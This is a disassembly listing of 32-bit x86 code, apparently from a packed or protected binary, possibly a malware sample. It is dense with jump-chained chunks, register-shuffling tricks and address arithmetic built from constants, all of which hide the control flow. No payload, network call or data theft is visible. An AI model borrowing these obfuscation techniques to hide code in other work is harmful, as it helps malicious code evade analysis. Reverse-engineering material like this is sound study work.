sub_423C08	proc near		; CODE XREF: sub_42EE8A:loc_42711Dj
					; sub_423F02:loc_42D389j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00426D47 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D5DB SIZE 00000016 BYTES

		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp+4+var_4]
		jmp	loc_426D47
sub_423C08	endp

; ---------------------------------------------------------------------------
		test	esi, 5392C8BFh
		jmp	loc_4268D2
; ---------------------------------------------------------------------------


loc_423C1E:				; CODE XREF: _7hdaygc1:loc_424A21j
		pushf
		push	edx
		jmp	loc_42861E
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esi
		xchg	eax, [esp]
		mov	esi, eax
		jmp	loc_42B2B1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_423C33:				; CODE XREF: _7hdaygc1:0042E517j
		jmp	loc_42BAA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C26B


loc_423C38:				; CODE XREF: sub_42C26B:loc_42C400j
		mov	eax, [ebp-0Ch]
		xor	edx, edx
		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
		jno	loc_42A6D3
		jmp	loc_42C0BC
; END OF FUNCTION CHUNK	FOR sub_42C26B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E29B


loc_423C4F:				; CODE XREF: sub_42E29B-85A8j
		push	offset loc_42C1F6
		jmp	nullsub_86
; END OF FUNCTION CHUNK	FOR sub_42E29B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427EF6


loc_423C59:				; CODE XREF: sub_427EF6-2CC3j
					; sub_42B907+2j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_427EF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_423C5D:				; CODE XREF: sub_42C16F+1C58j
		jmp	loc_42B8BE
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------


loc_423C62:				; CODE XREF: _7hdaygc1:00426A7Cj
		push	0
		jmp	loc_42C841
; ---------------------------------------------------------------------------


loc_423C69:				; DATA XREF: _7hdaygc1:004231D3o
		push	edx
		push	eax
		mov	eax, [ebp-4]
		cdq
		push	edx
		push	offset loc_42417B
		jmp	loc_425148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_423C7A:				; CODE XREF: sub_42C7F3:loc_42DC1Aj
		add	esi, ebp
		add	esi, 8A78228h
		mov	[esi], eax
		pop	esi
		call	sub_42D84A
		adc	ecx, ebx
		jmp	loc_42DAE5
; END OF FUNCTION CHUNK	FOR sub_42C7F3
; ---------------------------------------------------------------------------
		push	1
		push	eax
		push	0AAE085Ch
		pop	eax
		jmp	loc_426DC3
; ---------------------------------------------------------------------------

locret_423C9F:				; CODE XREF: _7hdaygc1:loc_4262B4j
		retn
; ---------------------------------------------------------------------------


loc_423CA0:				; CODE XREF: _7hdaygc1:00425B73j
		jmp	loc_4250DB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_423CA6:				; CODE XREF: sub_42EBD6-B76Cj
		jmp	loc_428B55
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_423CAC	proc near		; CODE XREF: sub_4252F5p
					; _7hdaygc1:0042A358j
		xchg	eax, [esp+0]
		pop	eax
		jnz	sub_42567E
		push	offset sub_42AFFE
		jmp	nullsub_6
sub_423CAC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pushf
		jmp	sub_42D48F
; ---------------------------------------------------------------------------

locret_423CC6:				; CODE XREF: _7hdaygc1:00423899j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6A0


loc_423CC7:				; CODE XREF: sub_42C6A0+7j
		jmp	loc_42A77E
; END OF FUNCTION CHUNK	FOR sub_42C6A0

; =============== S U B	R O U T	I N E =======================================



sub_423CCC	proc near		; DATA XREF: sub_429D1B:loc_424FC5o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042816F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428F5D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042B0F0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042BC41 SIZE 00000005 BYTES

		add	[esi], eax
		push	edx
		mov	edx, esi
		xchg	edx, [esp+4+var_4]
		push	83712E7h
		pop	esi
		jmp	loc_42BC41
sub_423CCC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B9CE


loc_423CDF:				; CODE XREF: sub_42B9CE-2279j
		xchg	edi, [esp+0]
		jmp	sub_42FD2A
; END OF FUNCTION CHUNK	FOR sub_42B9CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F56C


loc_423CE7:				; CODE XREF: sub_42F56C:loc_42921Aj
		jnz	loc_423E52
; END OF FUNCTION CHUNK	FOR sub_42F56C
; START	OF FUNCTION CHUNK FOR sub_42EB24


loc_423CED:				; CODE XREF: sub_42EB24+3j
		jmp	loc_428E71
; END OF FUNCTION CHUNK	FOR sub_42EB24
; ---------------------------------------------------------------------------


loc_423CF2:				; CODE XREF: _7hdaygc1:0042B8B9j
		jmp	loc_428C90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFB3


loc_423CF7:				; CODE XREF: sub_42AFB3-6BAEj
		jmp	loc_4266EE
; END OF FUNCTION CHUNK	FOR sub_42AFB3
; ---------------------------------------------------------------------------
		jl	loc_428AFB
		jmp	loc_423E4D

; =============== S U B	R O U T	I N E =======================================



sub_423D07	proc near		; CODE XREF: sub_428B5B+1p
					; sub_42C443-2198j

; FUNCTION CHUNK AT 00427DF2 SIZE 00000005 BYTES

		push	offset sub_42EB2C
		jmp	loc_427DF2
sub_423D07	endp

; ---------------------------------------------------------------------------


loc_423D11:				; CODE XREF: _7hdaygc1:loc_423E48j
		or	esi, 427AC76Dh
		rol	esi, 1Eh
		add	esi, 912D208Eh
		add	esi, ebp
		add	esi, 7233ED93h
		mov	[esi], eax
		pop	esi
		jmp	loc_42B72B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428802


loc_423D30:				; CODE XREF: sub_428802:loc_42C229j
		push	offset loc_42AF73
		jmp	nullsub_45
; END OF FUNCTION CHUNK	FOR sub_428802
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_423D3A:				; CODE XREF: sub_42C50D-23D8j
					; sub_42C50D:loc_42FD87j
		call	sub_42D757
		mov	edx, 0DD5E106Fh
		call	sub_42C1AF


loc_423D49:				; CODE XREF: _7hdaygc1:loc_42AF40j
		push	eax
		ror	eax, 16h
		jmp	loc_425D16
; END OF FUNCTION CHUNK	FOR sub_42C50D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB0D


loc_423D52:				; CODE XREF: sub_42EB0D:loc_42BB7Ej
		or	esi, 0E29A72C6h
		add	esi, 8D2DEA8Ch
		add	esi, ebp
		call	sub_426978


loc_423D65:				; CODE XREF: _7hdaygc1:0042E02Cj
		jmp	loc_42A963
; END OF FUNCTION CHUNK	FOR sub_42EB0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D11


loc_423D6A:				; CODE XREF: sub_427D11+1Ej
		jmp	loc_42ACE8
; END OF FUNCTION CHUNK	FOR sub_427D11

; =============== S U B	R O U T	I N E =======================================



sub_423D6F	proc near		; CODE XREF: _7hdaygc1:00423118j
					; _7hdaygc1:loc_42C841p

; FUNCTION CHUNK AT 0042F6A7 SIZE 00000009 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [ebp-4]
		push	edi
		mov	edi, eax
		jmp	loc_42F6A7
sub_423D6F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_423D7E:				; DATA XREF: sub_423648+7C03o
		add	eax, ebp
		push	ecx
		push	343909CAh
		pop	ecx
		xor	ecx, 25E7B79Fh
		and	ecx, 0F43A12CAh
		xor	ecx, ds:4000F2h
		jmp	loc_42E1BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425492


loc_423D9E:				; CODE XREF: sub_425492+41E3j
					; sub_425492:loc_42A282j
		call	sub_42E94F


loc_423DA3:				; CODE XREF: _7hdaygc1:00429ED0j
		jmp	nullsub_28
; END OF FUNCTION CHUNK	FOR sub_425492
; ---------------------------------------------------------------------------

locret_423DA8:				; CODE XREF: _7hdaygc1:00428C76j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42525E


loc_423DA9:				; CODE XREF: sub_42525E+7E55j
		jmp	loc_42FC84
; END OF FUNCTION CHUNK	FOR sub_42525E

; =============== S U B	R O U T	I N E =======================================



sub_423DAE	proc near		; CODE XREF: _7hdaygc1:00424F84j
					; sub_42CDF7-20A3p

; FUNCTION CHUNK AT 0042C351 SIZE 0000000F BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	esi
		push	0FED1EBF3h
		pop	esi
		jmp	loc_42C351
sub_423DAE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423410


loc_423DBE:				; CODE XREF: sub_423410+2F42j
		pop	edi
		xor	edi, 88EEA4C0h
		cmp	edi, 2B552455h
		jmp	loc_42E583
; END OF FUNCTION CHUNK	FOR sub_423410
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ABF7


loc_423DD0:				; CODE XREF: sub_42ABF7:loc_42FB99j
		jnz	loc_429176
		jmp	loc_426F82
; END OF FUNCTION CHUNK	FOR sub_42ABF7

; =============== S U B	R O U T	I N E =======================================



sub_423DDB	proc near		; CODE XREF: sub_4254BE+2C58p
					; _7hdaygc1:0042A507j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00424251 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426654 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00428480 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AB27 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042B644 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042C7E2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042CF0E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042E819 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EED6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042F1E8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042F74A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042FC84 SIZE 00000017 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jb	loc_42AB2D
		mov	eax, [ebp-10h]
		mov	eax, [eax+64h]
		add	eax, [ebp-14h]
		cmp	eax, [ebp-0Ch]
		jmp	loc_42AB27
sub_423DDB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_423DF6:				; CODE XREF: _7hdaygc1:0042376Ej
		jp	loc_42D881

; =============== S U B	R O U T	I N E =======================================



sub_423DFC	proc near		; CODE XREF: sub_425C3B+27EFp

; FUNCTION CHUNK AT 004231C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423B9F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042440B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424665 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004246A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424E14 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425A5A SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004262BE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426361 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004269F4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004270D4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00427EA3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00428DB3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429850 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004299B5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00429B63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A0E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A348 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042A705 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AD64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C434 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CDEC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D195 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042D992 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042DDAB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E5DB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E5FE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042EE0C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042F6CE SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, 6A92F9BAh
		mov	eax, [eax]
		mov	ecx, [eax]
		mov	edx, [ebp-10h]


loc_423E0D:				; CODE XREF: _7hdaygc1:004264EEj
		push	0D3A17569h
		jmp	loc_42A0E0
sub_423DFC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8DB


loc_423E17:				; CODE XREF: sub_42F8DB+16j
		rol	eax, 1Ah
		sub	eax, 7142EABDh
		xor	eax, 0F302584h
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		jmp	loc_4234AC
; END OF FUNCTION CHUNK	FOR sub_42F8DB

; =============== S U B	R O U T	I N E =======================================



sub_423E31	proc near		; DATA XREF: _7hdaygc1:004281FEo
		add	eax, 5D8F3F59h
		add	eax, ebp
		call	sub_424FE5


loc_423E3E:				; CODE XREF: _7hdaygc1:0042E88Cj
		jmp	sub_42DAD9
sub_423E31	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_423E43:				; CODE XREF: sub_425C3B+478Cj
		jmp	loc_429BAD
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------


loc_423E48:				; CODE XREF: _7hdaygc1:00426D6Fj
		jmp	loc_423D11
; ---------------------------------------------------------------------------


loc_423E4D:				; CODE XREF: _7hdaygc1:00423D02j
		xor	ebp, edi
		mov	edi, [ebp+0]
; START	OF FUNCTION CHUNK FOR sub_42F56C


loc_423E52:				; CODE XREF: sub_42F56C:loc_423CE7j
		add	eax, 90475300h
		xchg	eax, [esp+4+var_4]
		jmp	sub_42B470
; END OF FUNCTION CHUNK	FOR sub_42F56C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_423E61:				; CODE XREF: _7hdaygc1:0042F363j
		jmp	loc_42DE4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E168


loc_423E66:				; CODE XREF: sub_42E168+Dj
		jmp	nullsub_79
; END OF FUNCTION CHUNK	FOR sub_42E168
; ---------------------------------------------------------------------------


loc_423E6B:				; DATA XREF: sub_42AD16-136Bo
		call	sub_42AA07
; START	OF FUNCTION CHUNK FOR sub_425492


loc_423E70:				; CODE XREF: sub_425492+1C10j
					; sub_42948A-1473j
		push	5183B653h
		xchg	ecx, [esp+0]
		mov	eax, ecx
		pop	ecx
		add	eax, 819C6D1h
		or	eax, 0CEB6337Ah
		and	eax, ds:4000F0h
		jmp	loc_429EAB
; END OF FUNCTION CHUNK	FOR sub_425492
; ---------------------------------------------------------------------------


loc_423E92:				; CODE XREF: _7hdaygc1:00427FEDj
		jnz	loc_425703
		jmp	loc_424E8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C209


loc_423E9D:				; CODE XREF: sub_42C209-2ACBj
		jl	loc_42FCFD
		jmp	loc_423512
; END OF FUNCTION CHUNK	FOR sub_42C209
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A2EF


loc_423EA8:				; CODE XREF: sub_42A2EF-3FF1j
		jge	loc_42BB34


loc_423EAE:				; CODE XREF: sub_425FCB+Cj
		jmp	nullsub_194
; END OF FUNCTION CHUNK	FOR sub_42A2EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D002


loc_423EB3:				; CODE XREF: sub_42D002-8E74j
		jmp	loc_42B2C9
; END OF FUNCTION CHUNK	FOR sub_42D002
; ---------------------------------------------------------------------------
		jz	loc_426C8A
		shr	ecx, 3
		mov	[esi], ebx
		jmp	loc_42BB34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E85F


loc_423EC8:				; CODE XREF: sub_42E85F+18j
		mov	eax, ebp
		pop	ebp
		sub	eax, 0A4BD3E26h
		or	eax, 1FC20EF5h
		rol	eax, 5
		sub	eax, 0FEF2BE18h


loc_423EE0:				; CODE XREF: _7hdaygc1:0042EC7Bj
		jmp	loc_4271DC
; END OF FUNCTION CHUNK	FOR sub_42E85F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_423EE5:				; CODE XREF: sub_42C16F:loc_42982Aj
					; _7hdaygc1:0042984Bj
		xor	eax, 33AD977Ch
		add	eax, ebp
		add	eax, 0BC4A60B0h
		mov	eax, [eax]
		jmp	loc_42D158
; END OF FUNCTION CHUNK	FOR sub_42C16F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428DE6


loc_423EFB:				; CODE XREF: sub_428DE6+4E8Aj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_428DE6
; ---------------------------------------------------------------------------


loc_423EFD:				; CODE XREF: _7hdaygc1:0042570Dj
		jmp	locret_428B4F

; =============== S U B	R O U T	I N E =======================================



sub_423F02	proc near		; CODE XREF: sub_426130+26B9p
					; _7hdaygc1:0042A257p ...

; FUNCTION CHUNK AT 0042311E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423139 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423C06 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042B111 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CE6C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042D389 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E6E6 SIZE 00000013 BYTES

		jno	loc_42E6E6
		mov	eax, ds:dword_42B9A0
		or	eax, eax
		jmp	loc_42B111
sub_423F02	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_423F15:				; CODE XREF: sub_42C443+3614j
		pop	ecx
		and	ecx, 0E0AE59Ah
		or	ecx, 83C4CAD9h
		jnz	loc_42C9BC
; END OF FUNCTION CHUNK	FOR sub_42C443
; START	OF FUNCTION CHUNK FOR sub_429318


loc_423F28:				; CODE XREF: sub_429318-4CDFj
		jmp	loc_428092
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_42AD39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C2C


loc_423F33:				; CODE XREF: sub_425C2C:loc_426D0Bj
		jz	loc_424BDD
		jmp	loc_42A9ED
; END OF FUNCTION CHUNK	FOR sub_425C2C

; =============== S U B	R O U T	I N E =======================================



sub_423F3E	proc near		; CODE XREF: sub_42DEA0-9547p
					; _7hdaygc1:0042F3DDj

; FUNCTION CHUNK AT 00423AE6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004288B0 SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edx
		push	eax
		jmp	loc_423AE6
sub_423F3E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_423F49:				; CODE XREF: sub_42DD73-B62j
		add	edx, ebp
		add	edx, 0C4BEB2Ch
		mov	[edx], eax
		pop	edx
		push	offset sub_425752
		jmp	nullsub_185
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E21


loc_423F5E:				; CODE XREF: sub_425E21+Aj
		or	esi, 0AAD750FCh
		sub	esi, 0B47EFBA3h
		or	esi, 0B142C997h
		add	esi, 44C7B0ABh
		xchg	esi, [esp+0]
		jmp	loc_42F1C0
; END OF FUNCTION CHUNK	FOR sub_425E21
; ---------------------------------------------------------------------------

locret_423F7E:				; CODE XREF: _7hdaygc1:0042CB01j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426064


loc_423F7F:				; CODE XREF: sub_426064+12j
		jmp	loc_423FCA
; END OF FUNCTION CHUNK	FOR sub_426064
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426CBB


loc_423F84:				; CODE XREF: sub_426CBB+Cj
		xchg	esi, [esp+8+var_8]
		mov	esp, ebp
		xchg	ecx, [esp+8+var_8]
		mov	ebp, ecx
		pop	ecx
		call	sub_42742E


loc_423F94:				; CODE XREF: sub_423C08+99E4j
		jmp	loc_42E6DB
; END OF FUNCTION CHUNK	FOR sub_426CBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_423F99:				; CODE XREF: sub_423648+5AEj
		jmp	loc_42FA78
; END OF FUNCTION CHUNK	FOR sub_423648
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423FA0	proc near		; CODE XREF: sub_428B02+6p
					; _7hdaygc1:0042EC98j

; FUNCTION CHUNK AT 0042EF1A SIZE 00000005 BYTES

		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp+0]
		mov	ebp, esp
		jno	sub_4280AB
		jmp	loc_42EF1A
sub_423FA0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB83


loc_423FB3:				; CODE XREF: sub_42BB83-EAEj
		jnz	loc_424EB1
		jmp	loc_42CE95
; END OF FUNCTION CHUNK	FOR sub_42BB83
; ---------------------------------------------------------------------------
		sub	edi, 90ED7BC0h
		cdq
		jmp	sub_42BEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426064


loc_423FCA:				; CODE XREF: sub_426064:loc_423F7Fj
		mov	eax, [eax]
		push	eax
		call	sub_42D85F
		jmp	loc_4245DD
; END OF FUNCTION CHUNK	FOR sub_426064
; ---------------------------------------------------------------------------
		jmp	loc_42338B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B49


loc_423FDC:				; CODE XREF: sub_429B49:loc_429B58j
		add	ecx, 27E5E905h
		add	eax, ecx
		pop	ecx
		push	eax
		push	0
		push	offset loc_4280BD
		jmp	nullsub_25
; END OF FUNCTION CHUNK	FOR sub_429B49
; ---------------------------------------------------------------------------


loc_423FF2:				; CODE XREF: _7hdaygc1:0042633Bj
		xchg	edx, [esp]
		mov	ecx, edx
		pop	edx
		sub	ecx, 2B262EADh
		jmp	loc_42FCE2
; ---------------------------------------------------------------------------
		jl	loc_429D4E
		jmp	sub_42F1C6
; ---------------------------------------------------------------------------


loc_42400E:				; CODE XREF: _7hdaygc1:0042A999j
		add	edi, 59ED3502h
		add	edi, ebp
		add	edi, 0BDB3850h
		mov	edi, [edi]
		add	eax, edi
		jmp	loc_42A658
; ---------------------------------------------------------------------------


loc_424025:				; CODE XREF: _7hdaygc1:loc_42AE68j
		push	edx
		push	852BA49Ah
		pop	edx
		sub	edx, 0A057D285h
		jmp	loc_424058
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jl	loc_42F456
		jmp	sub_42EBB3
; ---------------------------------------------------------------------------


loc_424043:				; CODE XREF: _7hdaygc1:0042A0AAj
		push	eax
		ror	eax, 10h
		mov	ds:dword_42BC74, eax
		retn
; ---------------------------------------------------------------------------


loc_42404E:				; CODE XREF: _7hdaygc1:00427E9Dj
		jmp	loc_42CCB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42616B


loc_424053:				; CODE XREF: sub_42616B+6384j
		call	sub_42ADFE


loc_424058:				; CODE XREF: _7hdaygc1:00424032j
		jmp	loc_42C84B
; END OF FUNCTION CHUNK	FOR sub_42616B
; ---------------------------------------------------------------------------


loc_42405D:				; CODE XREF: _7hdaygc1:0042A9E8j
		jno	loc_426288
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_424063:				; CODE XREF: sub_4232DA:loc_429787j
		add	ebx, 992B36C7h
		cmp	edi, ebx
		pop	ebx
		jbe	loc_42E845
		jmp	loc_42C65E
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------


loc_424077:				; CODE XREF: _7hdaygc1:0042EAABj
					; _7hdaygc1:loc_42FBDBj
		mov	eax, 10h
		push	ebx
		push	53D8D711h
		pop	ebx
		xor	ebx, 0D3E96128h
		add	ebx, 8010F44Ch
		xchg	ebx, [esp]
		jmp	loc_4231F5
; ---------------------------------------------------------------------------
		cmp	ecx, edi
		jmp	loc_42D4AB

; =============== S U B	R O U T	I N E =======================================



sub_42409E	proc near		; CODE XREF: sub_42BE7D:loc_425600p
					; _7hdaygc1:0042B6DEj

; FUNCTION CHUNK AT 004245B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425EC5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004297BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B498 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042EA9B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042F99B SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		lea	eax, [ebp-14h]
		push	eax
		call	sub_429B49
		jmp	loc_4245B2
sub_42409E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240B0	proc near		; CODE XREF: sub_42D757+3j

; FUNCTION CHUNK AT 00424D9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425EB7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042F3EE SIZE 0000001F BYTES

		add	esp, 0FFFFFFECh
		mov	eax, offset dword_427C94
		jmp	loc_42F3EE
sub_4240B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4268D9


loc_4240BD:				; CODE XREF: sub_4268D9+8D9Cj
		adc	ebx, 0C143E890h
		xor	ecx, 49AD72A0h
		test	eax, 2D05D715h
		jmp	loc_42610F
; END OF FUNCTION CHUNK	FOR sub_4268D9

; =============== S U B	R O U T	I N E =======================================



sub_4240D4	proc near		; DATA XREF: _7hdaygc1:0042C7CAo
		xchg	eax, [esp+0]
		jmp	sub_42B650
sub_4240D4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_4240DC:				; CODE XREF: sub_426130+901Dj
		push	esi
		popf
		jmp	loc_42DF67
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CDF7


loc_4240E3:				; CODE XREF: sub_42CDF7:loc_42AD59j
					; _7hdaygc1:0042AD72j
		add	esi, 37A6132Ah
		xchg	esi, [esp+0]
		push	ecx
		pushf
		jmp	loc_42C04A
; END OF FUNCTION CHUNK	FOR sub_42CDF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FAB8


loc_4240F3:				; CODE XREF: sub_42FAB8:loc_4231B7j
		and	edx, 1E12EC5h
		add	edx, 9D9CB888h
		rol	edx, 18h
		add	edx, 74FE6438h
		add	edx, ebp
		jmp	loc_423244
; END OF FUNCTION CHUNK	FOR sub_42FAB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BEC6


loc_42410F:				; CODE XREF: sub_42BEC6+Fj
		pop	edx
		pop	edx
		mov	[edx], eax
		push	5A24C054h
		pop	eax
		or	eax, 6A304D17h
		test	eax, 4000h
		jmp	loc_4237C4
; END OF FUNCTION CHUNK	FOR sub_42BEC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E973


loc_42412A:				; CODE XREF: sub_42E973+14j
		add	eax, 518E6C83h
		add	eax, ebp
		push	ecx
		push	0A1F5C707h
		pop	ecx
		and	ecx, 12C9A338h
		jmp	loc_429EE0
; END OF FUNCTION CHUNK	FOR sub_42E973
; ---------------------------------------------------------------------------


loc_424144:				; DATA XREF: sub_424AE1+4861o
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		call	sub_426CBB
		push	4
		lea	eax, [ebp-2Ch]
		jmp	loc_42E81E
; ---------------------------------------------------------------------------
